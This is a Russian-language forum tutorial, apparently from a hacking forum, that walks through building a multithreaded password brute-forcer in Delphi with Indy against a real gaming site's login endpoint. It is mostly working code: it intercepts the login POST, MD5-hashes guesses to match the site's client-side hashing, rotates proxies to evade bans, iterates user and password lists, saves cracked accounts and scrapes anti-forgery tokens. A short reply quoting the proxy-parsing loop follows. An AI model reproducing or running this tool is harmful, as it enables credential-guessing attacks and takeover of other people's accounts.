Для начала нам понадобиться Delphi 9-10 версии с установленным Indy 10, а также [Ссылки могут видеть только зарегистрированные пользователи. ] с плагином [Ссылки могут видеть только зарегистрированные пользователи. ]
Теперь надо выбрать страницу для брута - я возьму [Ссылки могут видеть только зарегистрированные пользователи. ] (сейчас не актуально,так как стоит капча)
[Ссылки могут видеть только зарегистрированные пользователи. ]
Вот наше поле для ввода. Теперь рассмотрим, что передается при нажатии на кнопку в POST запросе - для этого воспользуемся плагином, который мы установили.
(Рекомендуется закрыть все окна, дабы не засорять инфу). Инструменты - перехват данных (нажимать на "запустить перехват" не надо). Теперь залогинемся. У нас появилось множество запросов - нам нужен самый верхний с методом POST. screen
[Ссылки могут видеть только зарегистрированные пользователи. ]
теперь рассмотрим данные, которые нам нужны - это URL на который был отправлен запрос (2 раза тыкаем на строку с URL в запросе) и POSTDATA (отправленные данные)
[Ссылки могут видеть только зарегистрированные пользователи. ]
(можно 2 раза кликнуть по POSTDATA чтобы посмотреть в удобном виде)
я ввел Ник - ololo и пароль - qwerty. Но почему вместо "qwerty" в строке password "d8578edf8458ce06fbc5bb76a58c5ca4"?
Посмотрим на код страницы и найдем такие строки:
Код:
function GarenaAuth(user,pass) {
$.post("GarenaAuth.php",
"username="+user+"&password="+hex_md5(pass),
hex_md5(pass) - значит что пароль отправляется в зашифрованом виде (мд5)
компонент можно взять тут
а расшифровать (проверить по базе) мд5 тут
теперь посмотрим на куки:
Код:
PHPSESSID=pfhf52p93mdkpreucjhqhqcqu4
Иногда можно залогиниться и без них - но на этой странице так не получиться.
Теперь мы выяснили, как именно происходит процесс входа - приступим к самому коддингу.
Нарисуем форму со всеми необходимыми компонентами.
Теперь создадим файл типа Thread Object (наш поток).
пропишем в uses следующие компоненты:
Код:
uses
Classes {$IFDEF MSWINDOWS}, Windows {$ENDIF}, idhttp, sysutils, idcookiemanager;
idhttp - инди клиент для отправки запросов
idcookiemanager - специальный компонент для хранения и получения кукисов
в private пропишем наши основные переменные
public
constructor Create(CreateSuspended: boolean; nick1, pass1: string; p: integer);
это процедура создания потока.
CreateSuspended - обязательный элемент создания потока (определяет запускать ли поток сразу или по команде)
nick1, pass1: string - ник и пароль, которые мы передаем в поток (обратите внимание, что названия переменных отличаются от объявленных в private)
в protected добавим такие процедуры:
uses *основной файл программы*, umd5 //компонент для преобразования строк в мд5;
следом идет процесс создания потока (где TBthread6 имя класса)
Код:
constructor TBthread6.Create(CreateSuspended: boolean; nick1, pass1: string;
waitf: boolean; p: integer);
begin
inherited Create(CreateSuspended);//если false то запускаем поток сразу
Synchronize(inc1);//сразу же увеличиваем кол-во потоков на 1
name := nick1;//теперь передаем переменные в глобальные для этого потока
pass := pass1;
pr := p;
end;
Synchronize - специальная функция для синхронизации потоков (чтобы одновременно с переменной мог работать только 1 поток)
теперь в процедуре Execute
объявим в var такие переменные
Код:
data: tstringlist;//данные запроса
idhttp1: tidHTTP;
idcookiemanager1:tidcookiemanager;
page: string;//текст полученного пост запроса
j: integer;//счетчик для цикла
после begin'а вставим это
Код:
page:='';//обнуление страницы (на всякий случай)
data := tstringlist.Create;//инициализация переменной
data.Add('username=' + name);//добавляем те строки которые мы отловили через перехватчик
data.Add('password=' + md5(pass));//пароль хешируем в мд5
idhttp1 := tidHTTP.Create;
idcookiemanager1:=tidcookiemanager.Create(idhttp1);//создаем наш куки мэнэджер относительно инди клиента
idhttp1.HandleRedirects := true;//возможность перенаправления
idhttp1.AllowCookies:=true;//разрешаем куки
idhttp1.MaxAuthRetries:=1;
если на нашей странице нужны прокси (бан после N запросов) то нужно вставить следующее
Код:
idhttp1.ProxyParams.ProxyServer := proxy[pr]; //где pr номер прокси в файле/стринглисте
idhttp1.ProxyParams.ProxyPort := strtoint(port[pr]);
idhttp1.ProxyParams.ProxyUsername := '';
idhttp1.ProxyParams.ProxyPassword := '';
Замечание: можно ссылаться на переменные объявленные в основном файле программы (главное чтобы переменных с таким именем не было в самом потоке).
далее процесс получения кук и отправка данных
Код:
idhttp1.Get('http://replay.garena.com/loginui.php?prepage=./');
//гет запрос на страницу входа - для получения кук (необязательно если куки не нужны)
page:=idhttp1.Post('http://replay.garena.com/GarenaAuth.php', data); //отсылаем пост запрос на страницу "отловленную" нами в перехватчике
//данные пришедшие нам в ответ мы кладем в переменную page
данный выше код необходимо заключить в блок try finally, чтобы не потерять данные в случае ошибки.
Код:
if page ='ok' then
//если в пост запросе нам пришло "ok" значит мы успешно залогинились
Synchronize(UpdateCaptiongood) else
//запускаем процедуру вывода сбрученного акка
Synchronize(Updatebad); //не забываем про процедуру синхронизации
//иначе выводим акк в поле Bad
Synchronize(dec1);
//уменьшаем кол-во потоков на 1
self.Terminate; //завершение потока
Замечание: ответ на запрос в каждом случае свой - и свой алгоритм определения успешного захода. (можно сделать GET запрос на другую страницу - и проверить залогинились или нет (для этого обязательны куки!)
Далее идут процедуры вывода аккаунтов (например вывод плохих аккаунтов в поле Bad в главной форме программы (form5)) - точно также и вывод гуд акков (но + запись файл)
Соответсвенно в процедурах dec1 и inc1 мы работаем с переменной, объявленной в главном потоке
Код:
procedure TBthread6.inc1;
begin
inc(tpot);
end;
procedure TBthread6.dec1;
begin
dec(tpot);
end;
Теперь немного слов об основном потоке программы и об управлении кол-вом потоков.
Вот код необходимый для разделения списка прокси на ип и порт (proxy и port переменные типа tstringlist) и в proxy мы изначально загружаем весь список.
gg, d, d1 дополнительные переменные типа string
Код:
for i := 0 to proxy.Count - 1 do
begin
gg := proxy[i];
for j := 1 to length(gg) do
begin
if gg[j] = ':' then
begin
d := '';
d1 := '';
for k := 1 to j - 1 do
d := d + gg[k];
for k := j + 1 to length(gg) do
d1 := d1 + gg[k];
proxy[i] := d;
port.add(d1);
break;
end;
end;
end;
процесс брутфорса я запускаю циклом while
главное не забывать о следующих вещах:
1)
Код:
application.processmessages();
эта процедура перерисовывает форму - чтобы мы могли управлять программой
2)
Код:
if tpot = p then
while tpot = p do
begin
sleep(50);
application.processmessages();
if stop then
begin
break;
end;
end;
tpot - текущее кол-во потоков а p - во сколько потоков мы работаем
также стоит дописать после этого такой код:
Код:
if tpot > p then
tpot := p;
в случае если потоки собьются - и неправильно увеличиться их кол-во то мы не дадим программе зависнуть.
теперь, как брутить по списку и знать что и как запустить
Код:
if (t = passes.Count - 1) then
begin
t := 0;
inc(k);
if (logpas = true) and (k <= users.Count - 1) then
passes[passes.Count - 1] := users[k];
end
else
inc(t);
if (pro = proxy.Count - 1) then
pro := 0
else
inc(pro);
тут мы переключаем указатель пассов и указатель прокси (тоесть мы бегаем по списку с прокси - это наиболее эффективный метод)
pro - текущий номер прокси
t - текущий номер пасса
k - текущий юзер
А вот так мы вызываем поток (не забудьте в uses основной формы указать имя файла с потоком)
Все остальное - на ваш вкус. В такой брутфорс можно встроить неограниченное кол-во страниц (просто подключаем новые потоки).
+ небольшое дополнение: Как получить токен, и что это такое?
часто для повышения защиты в пост запросах передается специальный генерируемый ключ (token) - и без правильного ключа вы не сможете выполнить запрос.
Есть 2 способа решить эту проблему:
1 - Способ тру кодеров: разобрать по кусочкам скрипты используемые на странице и написать свой генератор.
2 - "Народный": сделать гет запрос на страницу входа и забрать код страницы (s:=idhttp1.get('http://darkweb.ws') и вытащить из него наш токен (думаю проблем это не составит). - выглядит код страницы с токеном примерно так:
Сверху так должно быть?
Var i:integer
j,d1,d,k:real;
что то забыл(
Цитата:
for i := 0 to proxy.Count - 1 do
begin
gg := proxy[i];
for j := 1 to length(gg) do
begin
if gg[j] = ':' then
begin
d := '';
d1 := '';
for k := 1 to j - 1 do
d := d + gg[k];
for k := j + 1 to length(gg) do
d1 := d1 + gg[k];
proxy[i] := d;
port.add(d1);
break;
end;
end;
end;
________________
Отблагодари за труд
или + в репу)